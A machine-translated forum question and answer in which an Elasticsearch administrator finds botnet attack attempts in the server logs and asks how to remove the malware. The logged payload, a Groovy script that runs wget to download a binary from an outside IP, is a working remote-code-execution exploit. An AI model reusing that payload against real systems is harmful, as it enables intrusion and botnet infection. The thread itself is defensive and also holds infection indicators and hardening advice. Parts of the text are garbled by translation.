我刚刚更新到ElasticSearch 1.7.1并且正在填充数据库。虽然我一直收到以下错误(或调试消息):
[2015-08-09 03:20:23,429][DEBUG][action.search.type ] [NODE_NAME] [index_name][0], node[vw6fq_XPSuWsBWHN6aKepw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@6dee1ca] lastShard [true]
org.elasticsearch.search.SearchParseException: [index_name][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:747)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:572)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:544)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:306)
at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.ScriptException: scripts of type [inline], operation [search] and lang [groovy] are disabled
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:285)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:483)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:79)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:731)
... 9 more
起初,我想过修复这个错误,但我还没有编写任何Groovy脚本。所以我开始阅读这条消息,并发现:
Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()
知识产权使我感到困惑,因为它不是我的(它是中国人)。所以我对wget进行了沙盒化,并创建了一个字符串(来自byte []),结果是:
CC: (GNU) 4.4.6 20110731 (Red Hat 4.4.6-3) GCC: (GNU) 4.4.6 20120305 (Red Hat 4.4.6-4) .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .comment
crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __JCR_LIST__ __do_global_dtors_aux completed.5972 dtor_idx.5974 frame_dummy __CTOR_END__ __FRAME_END__ __JCR_END__ __do_global_ctors_aux main.c rdtsc _GLOBAL_OFFSET_TABLE_ __init_array_end __init_array_start _DYNAMIC GET_Flood data_start __errno_location@@GLIBC_2.0 srand@@GLIBC_2.0 connect@@GLIBC_2.0 getpid@@GLIBC_2.0 pthread_join@@GLIBC_2.0 strerror@@GLIBC_2.0 __libc_csu_fini sysconf@@GLIBC_2.0 _start pthread_exit@@GLIBC_2.0 Get_Net_Message CreateTimeer random@@GLIBC_2.0 Send_Host_Message signal@@GLIBC_2.0 NetSpeed __gmon_start__ _Jv_RegisterClasses _fp_hw rewind@@GLIBC_2.0 __isoc99_sscanf@@GLIBC_2.7 DoorThread SynFLood_Message _fini inet_addr@@GLIBC_2.0 write@@GLIBC_2.0 sendto@@GLIBC_2.0 fgets@@GLIBC_2.0 memset@@GLIBC_2.0 AnalysisAddress getOutRates UDP_Flood __libc_start_main@@GLIBC_2.0 uname@@GLIBC_2.0 htons@@GLIBC_2.0 read@@GLIBC_2.0 perror@@GLIBC_2.0 usleep@@GLIBC_2.0 SYN_Flood _IO_stdin_used gettimeofday@@GLIBC_2.0 Stream_Flood id ServerConnectCli __data_start TurnonKeepAlive DoorSocket ioctl@@GLIBC_2.0 socket@@GLIBC_2.0 getNetRates fclose@@GLIBC_2.1 bcopy@@GLIBC_2.0 GetCpuRates SetDNSHead memcpy@@GLIBC_2.0 strlen@@GLIBC_2.0 MainThread DealwithDDoS fopen@@GLIBC_2.1 _SendInfo __dso_handle strcpy@@GLIBC_2.0 __DTOR_END__ __libc_csu_init printf@@GLIBC_2.0 StopFlag DNS_Flood select@@GLIBC_2.0 close@@GLIBC_2.0 MainSocket strstr@@GLIBC_2.0 time@@GLIBC_2.0 ICMP_Flood m_OnlineInfo _ConnectServer __bss_start CpuSpeed pthread_create@@GLIBC_2.1 sleep@@GLIBC_2.0 __ConnectServer send@@GLIBC_2.0 _end puts@@GLIBC_2.0 _ServerConnectCli setsockopt@@GLIBC_2.0 ChName rand@@GLIBC_2.0 bzero@@GLIBC_2.0 usage netuse CheckSum fread@@GLIBC_2.0 getsockopt@@GLIBC_2.0 SendSpeed _edata snprintf@@GLIBC_2.0 gethostbyname@@GLIBC_2.0 exit@@GLIBC_2.0 __i686.get_pc_thunk.bx main Get_Cpu_Message _init
所以我发现了c代码,我发现DealWithDDos
调用很有趣。
我无法找出代码是什么,代码来自哪里,以及它为什么要运行。有谁知道这是什么吗?以及如何摆脱它?
PS,我还收到了另一条错误消息,另一个调用exec(\"whoami\")
的奇怪脚本。根据{{3}},此代码用于尝试通过执行系统命令来取消装配Groovy。
exec(\"echo qq952135763\")
,只匹配(等待......)中文...
更新
所以,感谢Val的评论,问题制定者:ends.cc。 Botnet报告ElasticSearch:Chinese Botnet
此外,由于我刚刚更新了ElasticSearch,创建了全新的索引(一切都是新的),我已经从外部排除了ES(显然对于漏洞来说已经太晚了,但仍然如此),因此某些进程必须运行到向ES发送请求。哪一个?脚本在哪里调用?
(值得关注)更新2
在更新中描述的报告中,他们描述了针对ElasticSearch
的两个(相关)恶意软件产品:BillGates
和Elknot
。
Elknot
上的page 7
的最后一段是<{1}}上的值得注意的。
Elknot滴管的作者没有提供任何手段 重启后持久性,一旦受害者的机器重新启动 由管理员或系统崩溃,感染停止。
BillGates
恶意软件:您可以查看是否有此表单(引自The Elastic Botnet Report最后一页:
BillGates感染的一个常见指标是存在 /tmp/moni.lock以及受害者的/tmp/bill.lock文件 机。此外,/ usr / bin目录下的目录 包含名称bsd-port可能是可疑的。
仍然,如何摆脱它?
答案 0 :(得分:1)
稍后更新
事先说明:由于某种原因,仍然访问了该线程,这导致我发出警告,将ElasticSearch升级为&gt; 1.5尽快。确保{your_external_ip}:{port}
不能从除localhost之外的任何地方调用 - 如果有的话。最后,请注意使用Groovy
,尤其是在沙盒之外。
原始答案
因此出现了两个不同的问题:
1)正如@Val指出的那样,中国的僵尸网络得到了我(他们事先得到了我,但是我没有运行ElasticSearch的版本,默认情况下脚本被禁用)。这个僵尸网络已被Novetta调查,他们发现运行了两个主要脚本(当计算机已被感染时):Elknot
和BillGates
- 它们共享一些代码。 (他们发现10个不同的脚本试图感染服务器,而不是所有高质量的脚本(参见第41-54
1页)
两者之间的一个巨大差异,Elknot
更简单,因为它不会试图成为持久性,BillGates
会这样做。要了解您拥有哪些版本,您可以执行以下操作:
wget -o
)时,你有Elknot
,否则你可能有BillGates
Elknot
相比,BillGates
是持久性的,您可能会在/tmp/{moni.lock, notify.file, gates.lock, bill.lock}
中看到其签名,您必须能够在{{1}中看到它目录文件/etc/rc?.d
,SDbSecuritySpt97
(请参阅第/etc/resolv.conf
1页),使用25-31
命令(请参阅第lsof
{{3}页})幸运的是,对我来说,似乎我有39-41
,所以我不需要重新安装。但是我仍然有类似的警告消息,包括对elknot
和whoami
的运行时调用。为什么?
因为已知漏洞(如更新中所述)是Groovy脚本调用系统命令的时间。这可以取消对脚本进行取消分配,从而为其提供电源。
echo qq{some numbers}
未解决此问题,因为它仅停止reboot
。显然还有其他问题。我发现我仍然可以通过elknot
致电external.ip.address:9200
以获得回复。此外,从外部源,我可以将节点绑定到网络 - 哑巴(我以为我几个月前解决了)。要解决此问题,请注意HTTP
中的以下设置:
elasticsearch.yml